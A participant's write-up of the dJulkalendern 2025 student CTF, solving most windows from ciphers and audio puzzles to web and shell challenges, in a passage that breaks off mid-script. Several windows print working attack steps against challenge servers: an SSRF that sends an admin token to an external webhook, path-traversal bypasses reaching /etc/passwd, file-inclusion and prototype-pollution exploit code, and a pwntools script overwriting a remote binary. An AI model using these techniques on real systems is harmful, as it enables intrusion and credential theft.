Skip to main content
dJulkalendern 2025 Writeup
  1. Posts/

dJulkalendern 2025 Writeup

Table of Contents

Every year Konglig Datasektionen, the Computer Science chapter at KTH Royal Institute of Technology, hosts a CTF-competition with one new challenge (window) per weekday December 1-24 at 12:15 CET. Most challenges are really more of a puzzle or word hunt than a traditional CTF-challenge. dJulkalendern is meant to cater to all students regardless of how far into their education they are, beginning with phone friendly riddle-like puzzles and then increases in difficult with each challenge. The solution to a challenge is always an English word.

Each year has a long and intricate (and very silly) story that runs throughout the event. More and more of the story is revealed with each challenge. This year we follow dAnkan the duck during the time leading up to and during the 2025 Olympic Games at the North Pole.

Window -1: Ready?
#

This pre-challenge simply requires you to find the 22nd word in the fourth paragraph of the lore page, which happens to be SCANDALOUS. This challenge is not actually part of the event, just more of a way for the organizers to properly introduce it and as a way to estimate how many are expected to join the party.

Window 1: The champion of a beginningship
#

In the story dAnkan steals a pack of duck bacon. The challenge is to decode its ingredients: ddAAA dAAdA Adddd AdddA ddAdd. The bacon itself is a hint towards the cipher used. A Baconian Cipher decoder reveals the plaintext HORSE, which is the solution to the challenge.

Window 2: Trie, trie, and trie again
#

The story takes presents you with a (christmas) trie:

Window 2 trie

dAnkan scribbles some poetry and says that two words are missing and that he needs one that starts with a ‘p’.

Near nougat, never neglect.
Negotiate noir notation, note noise.

Exhausting the trie reveals that the only two words missing from the poetry are not and negative, and from this we deduce that the solution to the challenge is the word POSITIVE.

Window 3: Dankan’s Telephone Must Function
#

We are presented with an audio file and the suspicious keyword “DTMF”. To no surprise a portion of the file includes DTMF encoded audio. Passing the file through a DTMF audio file decoder outputs the decoded 224447773555444633.

[...]
0031s .........................
0032s .........................
0033s ...................222222
0034s 2222.......2222222222....
0035s ...4444444444........4444
0036s 44444........444444444...
0037s .....777777777........777
0038s 777777........777777777..
0039s ......3333333333.......55
0040s 55555555.......5555555555
0041s .......5555555555.......4
0042s 444444444.......444444444
0043s 4........444444444.......
0044s .666666666........3333333
0045s 33........333333333......
0046s .........................
0047s .........................
0048s .........................
0049s .........................
0050s .........................
0051s .........................
0052s .......

Decoded: 224447773555444633

In this context specifically, these numbers look like what you would type to form words on your old T9 layout phone. Sure enough, passing it through a Multi-Tap decoder produces the word BIRDLIME, which is the solution to the challenge.

Window 4: Crouching duck, hidden message
#

The story hints a lot towards WW2 and aerospace dictionaries, with some more specific hints such as the “control room Sierra-Delta-Echo” and the fact that they’re spelling mic/microphone as “mike”. This all points towards the significance of some a phonetic alphabet. I here learned that there are lots of different phonetic alphabets, but since Winston Churchill makes an appearance in the story the most likely one was the 1943 WW2 CCB.

Window 3 phonetic alphabet (WW2 CCB) highlights

If you mark all mentions of a WW2 CCB word in the challenge text you will find, in order of appearance: “how”, “easy”, “love”, “item”, “uncle”, “mike”. This spells out the challenge solution HELIUM.

Window 5: Times for delivery
#

Each challenge that is released on a Friday is traditionally a MUD in dJulkalendern and this year was no exception. The challenge greets us with an image of dAnkan playing wordle, and connecting to the MUD reveals that we will too!

:::::::::  ::::::::::: :::    ::: :::        ::::    ::::  :::    ::: :::::::::
:+:    :+:     :+:     :+:    :+: :+:        +:+:+: :+:+:+ :+:    :+: :+:    :+:
+:+    +:+     +:+     +:+    +:+ +:+        +:+ +:+:+ +:+ +:+    +:+ +:+    +:+
+#+    +:+     +#+     +#+    +:+ +#+        +#+  +:+  +#+ +#+    +:+ +#+    +:+
+#+    +#+     +#+     +#+    +#+ +#+        +#+       +#+ +#+    +#+ +#+    +#+
#+#    #+# #+# #+#     #+#    #+# #+#        #+#       #+# #+#    #+# #+#    #+#
#########   #####       ########  ########## ###       ###  ########  #########  ₂.₀

Mysterious voice: What is your name?
>bk
Welcome bk! Use `help` for a list of commands.

[*] Write a 5 letter word using "guess <word>"!:
help
Available commands:
    togglechat (join/leave chat room)
    say <msg> (send a message in the chat room)
    guess <word> (guesses the word)
    retry  (restarts the current wordle challenge)
    reset  (resets back to the first wordle)

First, there’s a regular wordle puzzle. Simple trial and error and the help of a RegEx dictionary let’s you pass this stage rather easily.

[*] Write a 5 letter word using "guess <word>"!:
guess crane
=====
....Y
guess tales
=====
..YYG
guess elves
=====
YG..G
guess blues
=====
.G.YG
guess sleds
=====
GGGGG
You did it! Onto the next challenge

The second stage is a wordle puzzle variation where we begin with a partial solve:

The word danka has GGGGG
Make your word match GG.Y.

Here the RegEx dictionary really comes in handy, since it can quickly reveal all words that match the setup. There aren’t that many so it could’ve been a bit of a pain to do by hand. Not all dictionary hits are accepted as real words by the MUD, but that’s not an issue when you have a list of many more to try.

The third and final stage was another wordle variation, this time actually making it more difficult than a regular wordle puzzle. The prompt for this stage is as follows:

Letters are skyscrapers - a large scraper may obscure smaller ones behind it.

I found this very cryptic and while the feedback after a guess showed that some information was indeed obscured I couldn’t quite figure out the rule behind it. I ended up solving it with trial and error like with a regular wordle puzzle, just with less information to go off of. Here I also used a wordle solver as help.

guess lance
.....
=====
guess hurts
?.YYY
=====
guess stork
Y????
=====
guess strip
Y?Y??
=====
guess trips
Y???Y
=====
guess first
??Y?G
=====
guess frost
????G
You did it! The word is:
   /$$     /$$                                                             /$$
  | $$    | $$                                                            |__/
 /$$$$$$  | $$$$$$$   /$$$$$$   /$$$$$$  /$$$$$$/$$$$   /$$$$$$  /$$$$$$$  /$$  /$$$$$$
|_  $$_/  | $$__  $$ /$$__  $$ /$$__  $$| $$_  $$_  $$ |____  $$| $$__  $$| $$ |____  $$
  | $$    | $$  \ $$| $$$$$$$$| $$  \ $$| $$ \ $$ \ $$  /$$$$$$$| $$  \ $$| $$  /$$$$$$$
  | $$ /$$| $$  | $$| $$_____/| $$  | $$| $$ | $$ | $$ /$$__  $$| $$  | $$| $$ /$$__  $$
  |  $$$$/| $$  | $$|  $$$$$$$|  $$$$$$/| $$ | $$ | $$|  $$$$$$$| $$  | $$| $$|  $$$$$$$
   \___/  |__/  |__/ \_______/ \______/ |__/ |__/ |__/ \_______/|__/  |__/|__/ \_______/

It was later revealed in the dJulkalendern Discord server that the skyscraper part was “inspired by skyscraper clues in variant sudoku”. Essentially, if you guess the letter ‘p’ in the first position then every subsequent first position guess with any lower letter (a-o) will be obscured. The “intended” way to solve it was to guess words with only letters from the beginning of the alphabet first and the progress further through the alphabet with each guess, extracting the required information while being careful of blocking the view in future guesses:

Letters are skyscrapers - a large scraper may obscure smaller ones behind it.
=====
guess abaca
.....
=====
guess effed
.Y...
=====
guess minim
.....
=====
guess sport
Y.GYG
=====
guess frost
?GGGG
You did it!

Nonetheless, after solving the third and final stage you were presented with the solution to this challenge, THEOMANIA.

Window 8: Something is rotten in the state of Norway
#

This challenge was quite straight forward. You are given a file norsk_jul.docx and some hints that stand out: we ask “what type of file is it?” and the last thing in the story is dAnkan saying “If only they had left a comment …”.

Using file shows that it is actually a zip file. We unzip and notice that most files are xml, so we can recursively search for xml comments in the unpacked directory using grep and find the sought word HELICOPTER.

$ file norsk_jul.docx
norsk_jul.docx: Zip archive data, at least v2.0 to extract, compression method=store
$ unzip norsk_jul.docx
Archive:  norsk_jul.docx
   creating: pg1524/
   creating: pg1524/docProps/
  inflating: pg1524/docProps/app.xml
  inflating: pg1524/docProps/core.xml
   creating: pg1524/word/
  inflating: pg1524/word/document.xml
  inflating: pg1524/word/fontTable.xml
  inflating: pg1524/word/settings.xml
  inflating: pg1524/word/styles.xml
   creating: pg1524/word/theme/
  inflating: pg1524/word/theme/theme1.xml
  inflating: pg1524/word/webSettings.xml
   creating: pg1524/word/_rels/
  inflating: pg1524/word/_rels/document.xml.rels
  inflating: pg1524/[Content_Types].xml
   creating: pg1524/_rels/
  inflating: pg1524/_rels/.rels$ unzip norsk
$ grep -zro '<!--.*-->' pg1524
pg1524/word/document.xml:<!--
What the hell? This is just a ZIP??

This is your solution word: helicopter

Also check out this BANGER: https://www.youtube.com/watch?v=dQw4w9WgXcQ&pp=ygUJUmljayByb2xs
-->

Window 9: No mom, I can’t pause
#

The challenge greets us with a screenshot showing dAnkan playing the game Counter-Strike 2 on their steam account. He rambles about 10 clues that lead to the ID of an unlisted picture. The story also mentions adding numbers on several occasions. That’s about all the clues needed to solve this challenge!

Finding dAnkans steam account was a simple as searching for “dAnkan”. The profile info instantly looks suspiciously like a clue.

Window 9 steam profile info clue

Poking around you start to see more interesting numbers, for example in the friends section and in the profile comments.

Window 9 steam profile friends clue
Window 9 steam profile comments clue

There are a total of 10 of these numbers located throughout the steam profile and related steam pages. Rather than describing exactly where all are found I’ll provide a summary table below.

LocationClue
info161803398
comments602135790
friends350987654
screenshots314159265
videos455
reviews199999999
guides271828182
group discussions779451967
group event512345678
inventory423000111

The inventory clue was the one I found the hardest to spot. It was one of the first places I checked but I quickly disregarded it since it only had one item and I saw no numbers. Turns out the clue was there all along, hidden in the custom name tag of the item.

Summing all 10 clue numbers and using it as a steam picture ID reveals the unlisted image spoken of. This leads to the solution to the challenge, CHAINSAW.

Window 10: dAnkan, we have to cook
#

Mostly everything needed to solve this challenge is in the included image below. On the left side there seems to be some kind of circuit with binary encoding, and the right side contains a portrait of dAnkan.

Window 10 cover image

Throughout the story dAnkan draws a lot of attention to the 4-colored background of his portrait. There’s also a mention of pipettes, hinting towards the use of a color picker. The four background-colors are (in RGB hex): #A8AE3B, #A2E2E8, #BBA2EA and #2B8EE0. In binary:

0xA8AE3B: 101010001010111000111011
0xA2E2E8: 101000101110001011101000
0xBBA2EA: 101110111010001011101010
0x2B8EE0: 001010111000111011100000

Towards the end of the story dAnkan says “I have never felt despair this analog, so floating. The signals she sends to me through this ancient medium tumbles me into a deep duck-pression…” The ancient analog medium is likely a hint towards morse code, explaining the circuit in the left of the image.

Interpreting the binary (all concatenated) as morse following the correct timing and where a 0 means open circuit and 1 means closed circuit, we get

... ..- --. .- .-. .--. .-.. ..- --

which is morse for SUGARPLUM, the solution to the challenge.

Window 11: Reeling in the secrets
#

This challenge links to a website (“Christmas Photo Framer”) where you enter a photo URL and select a festive holiday frame to add to it. The task is to authenticating as admin and selecting the unavailable VIP picture frame.

Christmas Photo Framer landing page

Trying to access the admin or support page returns this error:

{
  "error": "Forbidden",
  "message": "You need to use the correct version of the internal browser to access the page. Please make sure you have the latest version."
}

The challenge’s story mentions user agent, the secret agents Web and Hook, the existence of a token, and dressing up to convince someone you’re one of them.

We can easily set up a webhook with https://webhook.site. Supplying the webhook URL to be framed by Christmas Photo Framer then shows the GET request from the server.

GET request from Christmas Photo Framer

If we set our own user-agent to that of the server (NorthPoleExplorer/7.17.4711-advent-3+sleighride.3990730628992603) we can access the admin page, but it tells us we have to authenticate as admin first.

Admin login page

The login button redirects to the user to

elf-identity.internal:4000/auth?callback=http%3A%2F%2Fphotoframe.hackfest.lol%2Flogin

The support page, also accessible with the new user-agent, explains that you have to be connected to the internal network to authenticate as admin. We are not, but we know that the web server likely is!

We can trick the web server to authenticate for us by simply supplying the self-identity.internal URL for framing. With our own webhook as callback we can catch the response from the authentication server. Said and done, framing

http://elf-identity.internal:4000/auth?callback=https%3A%2F%2Fwebhook.site%<id>

shows that this GET request was made:

https://webhook.site/<id>?token=secret_santa_54N7AoFi53LFBuO3QjdJKN0R7HP0L3KKNLakcxR31nD33R70Y5i15N0WKCTzkN

It looks like the internal identity checker is supposed to hook back to

http://photoframe.hackfest.lol/login?token=secret_santa_54N7AoFi53LFBuO3QjdJKN0R7HP0L3KKNLakcxR31nD33R70Y5i15N0WKCTzkN

If we visit this address we have successfully circumvented the authentication, allowing us to use the VIP frame.

VIP frame and flag

This reveals the solution STROBOSCOPE.

Window 12: All aboard the number train
#

MUD friday again! This time you have to solve Soduko-like puzzles:

YOUR STACK [4, 1, 2, 3, 1, 4, 3, 2, 4, 1, 3, 4, 2, 3, 1, 2]

+---+---+---+---+
|   |   |   |   |
+---+---+---+---+
|   |   |   |   | E
+---+---+---+---+
|   | X |   |   |
+---+---+---+---+
|   |   |   |   |
+---+---+---+---+

You are the X and have to make your way to the exit E. At each step that is taken, the first number in the stack is placed in the square you just moved from. The task is to reach the exit by walking the correct path; the path such that the stack is empty and each row and column contain no duplicate numbers when you reach the exit.

There’s not much more to it than thinking ahead and/or finding the correct path through trial and error. There are a total of three puzzles to complete, which you do by walking the paths shown below.

Solution path for puzzle 1
Solution path for puzzle 2
Solution path for puzzle 3

Completing the last puzzle shows the sought word THALPOSIS.

Window 14: Time for some Feedback
#

This challenge is no challenge, just a feedback form for the first half of the event that is not scored. Completing the form gives you the word SPORTSMANSHIP.

Window 15: Bricking towers and charming snakes
#

This challenge presents you with 7 different input sanitation functions, each of which you have to bypass somehow.

  1. forbidden

     def forbidden(text):
         text = text.replace("secret", "")
         return "secret" in text
    

    The input ssecretecret will return true here.

  2. no_numbers_thanks

    def no_numbers_thanks(text):
        if text.startswith("1337") or text.endswith("1337"):
            print("I said no numbers!")
            return False
        return int(text) == 1337
    

    Both 1_337 and 1337 works here.

  3. no_really_no_numbers

    def no_really_no_numbers(text):
        if "1337" in text:
            print("boo!")
            return False
        return int(text) == 1337
    

    Here 1_337 works fine.

  4. christmas_time

    def christmas_time(text):
        m = re.fullmatch(b"^djulkalendern$", text.encode(), re.IGNORECASE)
        if m is not None:
            print("Bad bad, don't try to sneak past")
            return False
        return text.lower() == "djulkalendern"
    

    This one was more interesting I think! Apparently the kelvin symbol becomes k when made into lowercase. So djulKalendern (with kelvin symbol) will bypass the regex check and return true.

  5. path_poo_poo

    def path_poo_poo(text):
        def remove_dots(part):
            return re.sub("^[. \t\r\n]+", "", part).strip()
    
        path_parts = text.split("/")
        # protect against path traversal
        path_parts = [remove_dots(part) for part in path_parts]
        path = "/".join(path_parts)
    
        base = "/zeus/hera/perseus/"
        full_path = base + path
        print("full_path", full_path)
        return os.path.normpath(full_path) == "/etc/passwd"
    

    This one took me the longest but we can simply input ../ ../ ../etc/passwd, using no-break spaces instead of regular space.

  6. path_doo_doo

    def path_doo_doo(text):
        def removeAll(text, needles):
            for needle in needles:
                text = text.replace(needle, "")
            return text
    
        path_parts = text.split("/")
        # protect against path traversal
        path_parts = [removeAll(part, ["..", "\\"]) for part in path_parts]
        path = "/".join(path_parts)
    
        base = "/zeus/hera/perseus/"
        full_path = base + path
        print("full_path", full_path)
        return os.path.normpath(full_path) == "/etc/passwd"
    

    Similarly to the first one, we can input .\\./.\\./.\\./etc/passwd.

  7. muh_keys_n_values

    def muh_keys_n_values(text):
        def get_value(kvs, key):
            for (k, v) in kvs:
                if k == key:
                    return v
            return None
    
        def get_christmas_time(kvs):
            christmas_time = None
            for (k, v) in kvs:
                if k == "christmas_time":
                    christmas_time = v
            return christmas_time
    
        kvs = [param.split("=") for param in text.split("&")]
        if get_value(kvs, "christmas_time") == "YES! ho ho ho":
            print("It's not christmas yet! >:(")
            return False
    
        return get_christmas_time(kvs) == "YES! ho ho ho"
    

    The input christmas_time=no&christmas_time=YES! ho ho ho will be parsed into

    [
      ["christmas_time", "no"],
      ["christmas_time", "YES! ho ho ho"]
    ]
    

    get_value(...) will return the first occurrence while get_christmas_time(...) will return the last occurrence.

Completing all 7 sanitation bypasses reveals the solution to the challenge: GYROS.

Window 16: Skis for two
#

This challenge is in two parts and starts with a pcap file that somehow contains the password to the second part. Inspecting the pcap with wireshark reveals that it holds some interesting TCP traffic. Most packets contain fields that read IGNOREME in the hexdump window (shown in the bottom left in the image below).

Interesting TCP traffic

With tshark we can filter out these packets and extract the data fields we get the password for part 2.

$ tshark -r data.pcap \
    -Y 'tcp && !frame contains "IGNOREME"'  `# Filter` \
    -T fields -e data                       `# Extract data field` \
    | tr -d '\n'                            `# Concatenate` \
    | xxd -r -p                             `# Convert to ascii` \
    | sed 's/OK$//'                         `# Remove trailing 'OK'` \
    | base64 -d                             `# Base64 decode`
th15_IS_n0t_bra1nr0t_i_ONLY_kn0w_BibleThump_aND_jerma985

Part 2 has the following instruction file, paired with an audio file jingle.ogg.

Part 2/2
jingle.ogg is your part 2 challenge; can you figure out what it is encoding?

some information necessary to solve:

Key: A minor, A₀B₁C₂D₃E₄F₅G₆a₇
Title: __i_____
Encoding Hint: E₄ + C₂ = i (Base64)
(Note that this is the roughly the same info as the metadata of the jingle.ogg file.)

I brought out my guitar and figured out that the jingle plays the notes E4 E4 E4 A4 E4 C4 D4 A4 D4 G4 E4 D4 A3 A3 G4 A3. In the notation of the instructions this would be E₄ E₄ E₄ a₇ E₄ C₂ D₃ a₇ D₃ G₆ E₄ D₃ A₀ A₀ G₆ A₀.

From the instructions we expect the title to be 7 characters long with the letter ‘i’ at position 3. There is a total of 14 notes and note 5 and 6 aligns with the encoding hint for the third character, so it seems like we should take two notes at a time and encode them according to the hint.

We can observe that the subscripts in the hint, 4 and 2, written in binary is 100 010, which in Base64 is ‘i’. If we do this for the rest of the note pairs we get the Base64 string “knifejAw” and the sought challenge solution KNIFEJAW.

Window 17: Weak floors and unsanitary bottles
#

I realize I did not take any notes when solving this challenge and I do not remember enough of it to write anything of substance here. As the challenge-specific website is no longer available I cannot redo it for the sake of completing the write-up either. What I can remember is that someone had given the feedback that dJul had too little brainrot in it. The dJul creators showed that they take feedback veeery seriously by making the UI of this challenge one of the most god-awful things I have ever seen (: Cudos to the dJul team for that!

Note to self: Take more notes.

Window 18: Am I fighting the duck?
#

In this challenge you are given an mp3 file and a python script phase.py that can encode data into audio files and decode such hidden data, along with simple instructions on how to use it.

The script is made for wav files, so we first convert the mp3 to wav with ffmpeg -i track.mp3 track.wav. Running the decoder finds the data

|=//=THIS=IS=NOT=THE=HIDDEN=MESSAGE|THIS=IS=NOT=THE=HIDEN=MESSAGE=//=|
|=//=THIS=IS=NO=THE=HI�DEN=LESWAGE|THIS=IS=NOT=THM=HIDTEN=MESSAGE=//=�
|#####################################################################|
|~~~~~|~~~^~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~t
|~~~~~|~16KH�~~~~~~~~~PECTRUM?~~~~~~~~~WHERE?~FREQ?~TIME?~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~SPECTRUM�~~~~~~~~~~~~~~~~~~~~~~~16KHZ~~^~~~~~~~|
|~~~CHANNEL?~~~~~~~~~~SPECTRUM?n~~~v~~~~~~~~~~~~~SPECTRUM?~~~~~~~~~~|
|~~~~~GOOD_LUCK~~~IT_IS_3600_|THREE^THOUSAND_SIX_HUNDRED|_CYTES_LONG~~|
|~~~~~~~n16KHZ~~~~~~~~NOISYN_ISYNOISYNOISY~v~~SPECTRUM?~~~~~~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~v~~~~~16Z~~~~~~~~~~~~~~~~~~~~~GOOD_LUCK~~~|
|~~~~IT_IS_3600_|THREE_THOUSA�D_SIX_HUNDVED|_BYTES_LONG~~n~~~~~~~~v>~~|
|~~~~~~SRECTRUM?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~16KXZ~~~~~CHINNEL?~~~~|
|~~~~~~~~~~~~~~~~~~YOW_CANNOTOGO_BACK_IN_TIME~~~~~~~~~~>CHANNEL?~~~~~~|
|~~~~GOOD_L�SKz~~v~~~~~ONLY_FORWARD~~~~~~�~~~~~~~~~~~~~~~~~~~~~n~~~~~~|
|~�~~~~~~~~~~~~16KHZ~~~~~~~~v~~~~~~~~~~~~~WHERE?~FREQ?~TIME?~~�~~~~n~~||~~~~~~~~~IT_IS_3600_|THREE_THO]SAND_SIX_HUNDRED8_BYTES_�ONG~~~~~~~~~~|
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
|##################################################�+################|
|=//}TXIS=IS<ZKTTHE=HIDDEN=MESSAG�|THis=IQ=NOT=THE=HIDDEN=MESSAGE=//=|
|=//=THIS=IS?NOT=THE=XIDDEN=MESSAGE|THIS=IS=nOT=THE=HIDDEN=MESSAGE�//=|

Since the audio had had a lossy mp3 conversion we get the expectedly noisy decoded data, but it is still readable. We can read “3600 bytes long”, “channel?”, “16kHz”, “spectrum?”, “time?”.

Here I examined phase.py more thoroughly. It encodes the data in the left channel, at the beginning of the audio file at around 14500 Hz. The “channel?” and “16kHz” comments seem to hint at considering to look for data elsewhere.

The story several times tells you to visualize things. Here’s the spectrogram of the audio file (left channel on top, right on bottom):

Spectrogram of track.mp3’s channels

Focusing on the left channel first, there seems to be a block of some data at the beginning and we can confirm that it indeed is located at around 14500 Hz. So this must be the data that we decoded earlier. In the right channel however, there appears to be a similar block of encoded data at the end of the track. This one is instead around 16000 Hz, matching the earlier hint. The block also appears to be “stretched” compared to the one in the left channel, it is about twice as long in time.

So we know that there is something in the right channel, at 16 kHz, aligned with the end of the track, and twice as wide as the data in the left channel.

We can decode this data block by modifying phase.py to reflect this. Only three lines have to be changed:

$ diff phase.py unphase.py
39c39
<  mod_size = len(data) // 4
---
>  mod_size = len(data) // 2
43c43
<  cutoff_ratio = (freq_max - 14500) / freq_max
---
>  cutoff_ratio = (freq_max - 16000) / freq_max
46c46
<  secret_phases = np.angle(np.fft.fft(data[:mod_size, 0]))[center - secret_size * 8 - shiftdown : center - shiftdown]
---
>  secret_phases = np.angle(np.fft.fft(data[-mod_size:, 1]))[center - secret_size * 8 - shiftdown : center - shiftdown]
58c58

With this we can decode the secret hidden message and the solution to the challenge, EUPHONIA.

Window 19: Substitute Santa
#

Last MUD of the year! You are dropped in a tiny town:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X                             XXX                                         X
X                            X   X                                        X
X                           X     X                                       X
X                          XXXXXXXXX                                      X
X                          X Timmy X                                      X
X                          X       X     XXXXXXXXXXXXXXX                  X
X                          X       X     X   School    XXXXXX             X
X                          XXXXXXXXX     X             X    X             X
X                                        X             X    X             X
X                           XXXXXXX      XXXXXXXXXXXXXXXXXXXX             X
X    XXXXXXXXXXXXXXXXX   XXX▒▒▒▒▒▒▒XXX          XXXXXXXXXXXXXXXX          X
X    X   $ Store $   X  X▒▒▒▒▒XXX▒▒▒▒▒X         X   Library    X          X
X    X               X  X▒▒▒▒X   X▒▒▒▒X         X              X          X
X    X               X  X▒▒▒▒▒XXX▒▒▒▒▒X         X              X          X
X    XXXXXXXXXXXXXXXXX   XXX▒▒▒▒▒▒▒XXX          XXXXXXXXXXXXXXXX          X
X                       X   XXXXXXX    X      X                           X
X                     XX   X          XXX    X X       XXX  X             X
X      XXXXXXXXXXXXXXX    X  X XX    XX XX  XX XX      X  XX              X
X      X     Alley      XX    X X  XXXXXXXXXXXXXXXXXX  X                  X
X      XXXXXXXXXXXXXXXXX        X  X   Carnival     X  X                  X
X                               X  X                X  X                  X
X                               X  XXXXXXXXXXXXXXXXXX  X                  X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

After exploring a bit it is clear that this challenge is a typical substitution/trading game, where you start with $100 with the goal of acquiring enough of the presents Timmy wants for Christmas. You get his wishlist by interacting with him in his house.

This is my wishlist, ordered by how much i want each item
snowball machine : 30
snowmobile : 30
santa poster : 25
ice skates : 20
booster pack : 10
sticker (red): 2
sticker (plain): 1

Since there are quite a lot of different options for what and who to interact with (and different ways of acquiring the same items) I will limit this to a simple walkthrough of what I did and leave out the _why_s. It was mostly just a matter of trial and error and trying to exhaust all possibilities to try to get as high of a score as possible.

First, I went to the alley and bought an emp ($40) and jolly usb-stick ($25), and to the store and bought a red marker ($10). Next, I went to the carnival and got sticker (plain) by loosing the rigged lottery wheel game ($10). Combining the sticker (plain) and red marker gave me a sticker (red), which I gave to the carnival nerd at the library for a carnival themed booster pack. I used the jolly usb-stick on the library printer giving me a santa poster (monochrome) ($5) which was combined with the red marker to make a regular santa poster. Next, using the emp at the playground CCTV cameras disabled them and let me steal the snowball machine. Lastly, I went back to the carnival for another plain sticker ($10) which I again combined with the red marker for a sticker (red).

Jimmy was happy with these items (jolly usb-stick, red marker, booster pack, santa poster, snowball machine, sticker (red)), revealing the sought solution FUGACIOUS.

Window 22: On victory, emit gg
#

This challenge presents you with a Clash Royale type game on the website http://clash.djul.se:2167. To complete the challenge you have to win the ’extreme’ level bot, which is not even made available to play against.

The story contains two major hints. Firstly, dAnkan says that we should “make the system believe we are playing against the extreme bot […]. Let something else take its place.” Secondly, dAnkan suggest we try to break the website and inspect the resulting errors.

Running DirBuster on the website reveals a local file inclusion vulnerability on the /public?path= page, as it seems to accept absolute paths to arbitrary files. While it blocks path traversals with .., we might be able to get our hands on the server-side code if we knew the full path to it.

Some invalid paths happen to result in errors, such as a simple null termination /public?path=%00:

TypeError [ERR_INVALID_ARG_VALUE]: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/clashroyaleapp/public/\x00'
    at Object.access (node:fs:225:10)
    at /clashroyaleapp/index.js:589:6
    at Layer.handleRequest (/clashroyaleapp/node_modules/router/lib/layer.js:152:17)
    at next (/clashroyaleapp/node_modules/router/lib/route.js:157:13)
    at Route.dispatch (/clashroyaleapp/node_modules/router/lib/route.js:117:3)
    at handle (/clashroyaleapp/node_modules/router/index.js:435:11)
    at Layer.handleRequest (/clashroyaleapp/node_modules/router/lib/layer.js:152:17)
    at /clashroyaleapp/node_modules/router/index.js:295:15
    at processParams (/clashroyaleapp/node_modules/router/index.js:582:12)
    at next (/clashroyaleapp/node_modules/router/index.js:291:5)

The error shows the path of the code script from where the error originated, /clashroyaleapp/index.js, which likely is the server-side code that we are interested in to understand the internal game logic. We get this code by visiting http://clash.djul.se:2167/public?path=%2Fclashroyaleapp%2Findex.js.

There are two main challenges to overcome here: find out how to start a game against the extreme bot, and find a way to win such a game.

Starting with the former, this is the code that sets the bot difficulty depending on the payload the client sends the server:

socket.on("host-game", (payload) => {
  if (socket.data.lobbyCode) {
    destroyLobby(socket.data.lobbyCode, "Host left lobby");
  }

  const code = generateLobbyCode();
  const lobby = createLobby(code, socket.id);
  lobbies.set(code, lobby);

  socket.data.lobbyCode = code;
  socket.data.team = "blue";
  socket.join(lobby.room);

  const bots = {
    alice: { mode: "easy" },
    bob: { mode: "medium" },
    eve: { mode: "hard" },
    // santa: { mode: "extreme" } Disabled because too hard to beat
  };

  let botMode = null;

  if (payload && payload.botName && payload.botName in bots) {
    botMode = bots[payload.botName].mode || "extreme";
  }

  if (botMode) {
    const botSocketId = `bot-${Date.now()}`;
    lobby.players[botSocketId] = initializePlayerState(botSocketId, "red", {
      isBot: true,
    });
    lobby.bot = { id: botSocketId, mode: botMode };
    socket.data.lobbyCode = code;
    socket.data.team = "blue";

    io.to(lobby.room).emit("lobby-joined", { code });
    io.to(lobby.room).emit("lobby-status", {
      code,
      players: getLobbyPlayers(lobby).map((p) => ({
        id: p.id,
        team: p.team,
      })),
    });
  }

  socket.emit("lobby-created", { code });
});

They have “disabled” the extreme bot by commenting it out. However, this conditional is flawed:

if (payload && payload.botName && payload.botName in bots) {
  botMode = bots[payload.botName].mode || "extreme";
}

If the botName sent by the client would in some way exist in the bots dictionary but not have an associated mode, then the difficulty botMode defaults to extreme. All JavaScript objects have a __proto__ accessor, so __proto__ in bots is true and since there’s no __proto__.mode we get botMode = "extreme"!

I simply used the browser terminal to send arbitrary commands on the established socket. This triggers the extreme bot:

socket.emit("host-game", { botName: "__proto__" });

Next up is to find a way to beat the extreme game. I don’t think there’s any way of beating the extreme bot legitimately, even if you were to find an optimal strategy. Instead, we can recall that dAnkan in the beginning of the challenge’s story rambled something about a “second sock-rocket […] so-rocket”. We can assume that this hints towards using a second socket somehow.

It is possible to join any existing game that isn’t already full if you have the game code, like so:

socket.emit("join-game", { code: <code> });

If we join the generated bot game with a second client before the bot itself can join, then we would control both players and there would be no extreme bot in the lobby, yet it would still be an extreme level game. To achieve this we have to join our own game within the server’s tick rate of 100 ms. This is done rather simply by creating a second socket and a function that instantly joins the game of the first socket. Lastly we trigger an extreme game as previously described.

const s2 = io();
socket.on("lobby-joined", (data) => {
  s2.emit("join-game", { code: data.code });
});
socket.emit("host-game", { botName: "__proto__" });

Now that we control the opponent and can choose for it to do nothing it is easy to beat the game by just playing regularly. Upon winning we get the solution to the challenge, ISKENDER.

Window 23: You run what I tell you to run
#

This challenge gives you access to a machine with a very stripped down shell. You are essentially limited to using only the commands cd, ls and printf. There is a file secret that can only be read by a root user, and there’s also a directory grischtooling with executables grischtooling/haxxxxme and grischtooling/sl.

haxxxxme has the setuid bit set, so we can expect to use it to get a root shell somehow, after which we would be able to read the secret file (likely containing the challenge’s solution). Running haxxxxme prompts you for a password, but without a better understanding of the binary it could be really difficult to guess correctly.

sl is sl, but more interestingly is that we have full access permissions to it. This means we could possibly overwrite it with any other executable we may want to run, which would make the limited shell much less limited.

My plan became to overwrite grischtooling/sl with a hexdump program to print some encoded version of the entire grischtooling/haxxxxme executable. It would then be possible to decode the output to recreate the executable on my local machine, and inspect it properly.

I wrote and compiled an as simple hexdump as I could think of:

#include <stdio.h>

int main(int argc, char **argv) {
    FILE *f = fopen(argv[1], "rb");
    int c;
    while ((c = fgetc(f)) != EOF)
        printf("%02x", c);
    printf("\n");
}

Then, pwntools makes it quite simple to overwrite sl and dump haxxxxme:

from pwn import *

HOST = "lucks.djul.se"
PORT = 16767
PASSWORD= "67grischfortnite1337"

LOCAL_PATH = "./hexdump"
REMOTE_PATH = "grischtooling/sl"
CHUNK_SIZE = 200  # bytes per printf

def octal_encode(data: bytes) -> str:
    # Convert raw bytes to printf-safe octal escapes
    return "".join(f"\\{b:03o}" for b in data)

def main():
    io = remote(HOST, PORT)
    io.sendline(PASSWORD.encode()) # Password connect

    with open(LOCAL_PATH, "rb") as f:
        binary = f.read()

    # Truncate remote file first
    io.sendline(f"> {REMOTE_PATH}".encode())

